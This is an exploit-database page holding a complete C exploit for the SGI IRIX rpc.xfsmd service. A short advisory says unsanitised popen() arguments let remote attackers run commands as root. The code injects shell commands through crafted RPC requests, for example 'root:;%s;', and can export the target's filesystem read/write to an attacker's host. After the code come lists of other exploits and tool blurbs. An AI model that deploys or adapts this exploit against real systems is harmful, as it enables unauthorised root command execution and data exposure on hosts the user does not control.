Menu

Search for hundreds of thousands of exploits

"SGI IRIX 6.x - 'rpc.xfsmd' Remote Command Execution"

Author

Exploit author

"Last Stage of Delirium"

Platform

Exploit platform

irix

Release date

Exploit published date

2002-06-20

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
// source: https://www.securityfocus.com/bid/5075/info

Throghout the implementation of the supported remote procedure calls, the server uses the popen() libc function. When popen() is used, arguments passed to the RPC are included in the command string. These arguments are not sanitized. If shell metacharacters, such as ";" and "|" are embedded in the remotely supplied arguments, additional commands may be executed. These commands will run with root privileges.

/*## copyright LAST STAGE OF DELIRIUM Sep 1999 poland        *://lsd-pl.net/ #*/
/*## xfsmd                                                                   #*/

/*   this code forces xfsmd to execute any command on remote IRIX host or     */
/*   to export any file system from it with read/write privileges.            */
/*   the exploit requires that DNS is properly configured on an attacked      */
/*   host. additionally, if the file systems are to be exported from a        */
/*   vulnerable system, it must have NFS subsystem running.                   */

/*   example usage:                                                           */
/*   xfsmd address -c "touch /etc/lsd"                                        */
/*     (executes "touch /etc/lsd" command as root user on a vulnerable host)  */
/*   xfsmd address -e 10.0.0.1 -d "/"                                         */
/*     (exports / filesystem to the 10.0.0.1 host with rw privileges)         */ 

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>

#define XFS_PROG    391016
#define XFS_VERS    1     
#define XFS_EXPORT  13

typedef char *req_t;
typedef struct{char *str1;int errno;}res_t;

bool_t xdr_req(XDR *xdrs,req_t *objp){
    if(!xdr_string(xdrs,objp,~0)) return(FALSE);
    return(TRUE);
}

bool_t xdr_res(XDR *xdrs,res_t *objp){
    if(!xdr_string(xdrs,&objp->str1,~0)) return(FALSE);
    if(!xdr_int(xdrs,&objp->errno)) return(FALSE);
    return(TRUE);
}

main(int argc,char **argv){
    char command[10000],*h,*cmd,*hst=NULL,*dir="/etc";
    int i,port=0,flag=0,c;
    CLIENT *cl;enum clnt_stat stat;
    struct hostent *hp;
    struct sockaddr_in adr;
    struct timeval tm={10,0};
    req_t req;
    res_t res;

    printf("copyright LAST STAGE OF DELIRIUM Sep 1999 poland  //lsd-pl.net/\n");
    printf("rpc.xfsmd for irix 6.2 6.3 6.4 6.5 6.5.16 IP:all\n\n");

    if(argc<3){
        printf("usage: %s address -c \"command\" [-p port]\n",argv[0]);
        printf("       %s address -e address [-d dir] [-p port]\n",argv[0]);
        exit(-1);
    }
    while((c=getopt(argc-1,&argv[1],"c:p:e:d:"))!=-1){
	 switch(c){
	 case 'c': flag=0;cmd=optarg;break;
         case 'e': flag=1;hst=optarg;break;
         case 'd': dir=optarg;break;
         case 'p': port=atoi(optarg);
	 }
    }

    req=command;
    if(!flag){
        printf("executing %s command... ",cmd);
        sprintf(req,"XFS_MNT_DIR:/tmp\nroot:;%s;",cmd);
    }else{
        printf("exporting %s directory to %s... ",dir,hst);
        sprintf(req,"XFS_FS_NAME:%s\nroot:%s\n",dir,hst);
    }

    adr.sin_family=AF_INET;
    adr.sin_port=htons(port);
    if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
        if((hp=gethostbyname(argv[1]))==NULL){
            errno=EADDRNOTAVAIL;perror("error");exit(-1);
        }
        memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
    }else{
        if((hp=gethostbyaddr((char*)&adr.sin_addr.s_addr,4,AF_INET))==NULL){
            errno=EADDRNOTAVAIL;perror("error");exit(-1);
        }
    }
    if((h=(char*)strchr(hp->h_name,'.'))!=NULL) *(h+1)=0;
    else strcat(hp->h_name,".");

    i=RPC_ANYSOCK;
    if(!(cl=clnttcp_create(&adr,XFS_PROG,XFS_VERS,&i,0,0))){
        clnt_pcreateerror("error");exit(-1);
    }

    cl->cl_auth=authunix_create(hp->h_name,0,0,0,NULL);
    stat=clnt_call(cl,XFS_EXPORT,xdr_req,(void*)&req,xdr_res,(void*)&res,tm);
    if(stat!=RPC_SUCCESS) {clnt_perror(cl,"error");exit(-1);}
    printf("%s\n",(!flag)?"ok":((!res.errno)?"ok":"failed"));
}
Release Date Title Type Platform Author
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2005-10-10 "SGI IRIX 6.5.28 - 'runpriv' Design Error" local irix anonymous
2005-04-07 "SGI IRIX 6.5.22 - GR_OSView Local Arbitrary File Overwrite" local irix anonymous
2005-04-07 "SGI IRIX 6.5.22 - GR_OSView Information Disclosure" local irix anonymous
2003-05-23 "IRIX 5.x/6.x - MediaMail HOME Environment Variable Buffer Overflow" dos irix bazarr@ziplip.com
2002-08-16 "SGI IRIX 6.5.x - FAM Arbitrary Root Owned Directory File Listing" local irix "Michael Wardle"
2002-06-20 "SGI IRIX 6.x - 'rpc.xfsmd' Remote Command Execution" remote irix "Last Stage of Delirium"
2002-04-12 "IRIX 6.5.x - Performance Co-Pilot Remote Denial of Service" dos irix "Marcelo Magnasco"
2001-09-01 "Irix LPD tagprinter - Command Execution (Metasploit)" remote irix "H D Moore"
2001-06-18 "SGI Performance Co-Pilot 2.1.x/2.2 - pmpost Symbolic Link" local irix IhaQueR
2001-05-08 "IRIX 5.3/6.2/6.3/6.4/6.5/6.5.11 - '/usr/lib/print/netprint' Local Privilege Escalation" local irix LSD-PLaNET
Release Date Title Type Platform Author
2003-10-22 "Sun Java Virtual Machine 1.x - Slash Path Security Model Circumvention" dos multiple "Last Stage of Delirium"
2003-03-02 "Sendmail 8.12.x - Header Processing Buffer Overflow (1)" remote unix "Last Stage of Delirium"
2003-02-12 "HP-UX 10.x - stmkfont Alternate Typeface Library Buffer Overflow (1)" local hp-ux "Last Stage of Delirium"
2003-02-12 "HP-UX 10.x - rs.F3000 Unauthorized Access" local hp-ux "Last Stage of Delirium"
2002-11-21 "Microsoft Java Virtual Machine 3802 Series - Bytecode Verifier" remote windows "Last Stage of Delirium"
2002-11-21 "Sun/Netscape Java Virtual Machine1.x - Bytecode Verifier" remote multiple "Last Stage of Delirium"
2002-11-21 "Symantec Java! JustInTime Compiler 210.65 - Command Execution" remote windows "Last Stage of Delirium"
2002-06-20 "SGI IRIX 6.x - 'rpc.xfsmd' Remote Command Execution" remote irix "Last Stage of Delirium"
2002-01-01 "Solaris 2/7/8/9 cachefsd - Remote Heap Overflow" remote solaris "Last Stage of Delirium"
2001-04-11 "SGI IRIX 6.5 / Solaris 7.0/8 CDE - '/usr/dt/bin/dtsession' Local Buffer Overflow" local unix "Last Stage of Delirium"
2001-03-15 "Solaris 2.6/7.0/8 - snmpXdmid Buffer Overflow" remote solaris "Last Stage of Delirium"
2000-12-01 "IBM AIX 4.3.x - '/usr/lib/lpd/piobe' Local Buffer Overflow" local aix "Last Stage of Delirium"
2000-12-01 "IBM AIX 4.3 - '/usr/lib/lpd/digest' Local Buffer Overflow" local aix "Last Stage of Delirium"
2000-12-01 "IBM AIX 4.x - '/usr/bin/setsenv' Local Buffer Overflow" local aix "Last Stage of Delirium"
2000-09-01 "AIX 4.2/4.3 - '/usr/lib/lpd/pio/etc/piomkapqd' Local Buffer Overflow" local aix "Last Stage of Delirium"
2000-08-02 "IRIX 6.5.x - '/usr/sbin/dmplay' Local Buffer Overflow" local irix "Last Stage of Delirium"
2000-07-01 "IRIX 5.2/5.3/6.x - TelnetD Environment Variable Format String" remote irix "Last Stage of Delirium"
2000-03-29 "SGI IRIX 5.x/6.x - Objectserver" remote irix "Last Stage of Delirium"
2000-01-01 "IRIX 6.5.x - '/usr/lib/InPerson/inpview' Race Condition" local irix "Last Stage of Delirium"
1999-12-20 "SCO Open Server 5.0.5 / IRIX 6.2 ibX11/X11 Toolkit/Athena Widget Library - Local Buffer Overflow" local multiple "Last Stage of Delirium"
1999-12-01 "Solaris 2.5/2.6/7.0/8 - kcms_configure KCMS_PROFILES Buffer Overflow (2)" local solaris "Last Stage of Delirium"
1999-12-01 "Solaris 2.5/2.6/7.0/8 - kcms_configure KCMS_PROFILES Buffer Overflow (1)" local solaris "Last Stage of Delirium"
1999-08-17 "AIX 4.1/4.2 - 'pdnsd' Remote Buffer Overflow" remote aix "Last Stage of Delirium"
1999-07-19 "SGI Advanced Linux Environment 3.0 / SGI IRIX 6.5.4 / SGI UNICOS 10.0 6 - arrayd.auth Default Configuration" remote multiple "Last Stage of Delirium"
1999-07-13 "Caldera OpenUnix 8.0/UnixWare 7.1.1 / HP HP-UX 11.0 / Solaris 7.0 / SunOS 4.1.4 - rpc.cmsd Buffer Overflow (1)" remote multiple "Last Stage of Delirium"
1998-11-01 "IRIX 6.2/6.3 - '/bin/lpstat' Local Buffer Overflow" local irix "Last Stage of Delirium"
1998-04-01 "Solaris x86 2.4/2.5 - nlps_server Buffer Overflow" remote solaris "Last Stage of Delirium"
1997-09-01 "SGI IRIX 6.2 - 'libgl.so' Local Buffer Overflow" local irix "Last Stage of Delirium"
1997-09-01 "IRIX 5.3/6.x - '/usr/bin/mail' Local Buffer Overflow" local irix "Last Stage of Delirium"
1997-07-17 "SGI IRIX 6.3 - 'pset' Local Privilege Escalation" local irix "Last Stage of Delirium"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.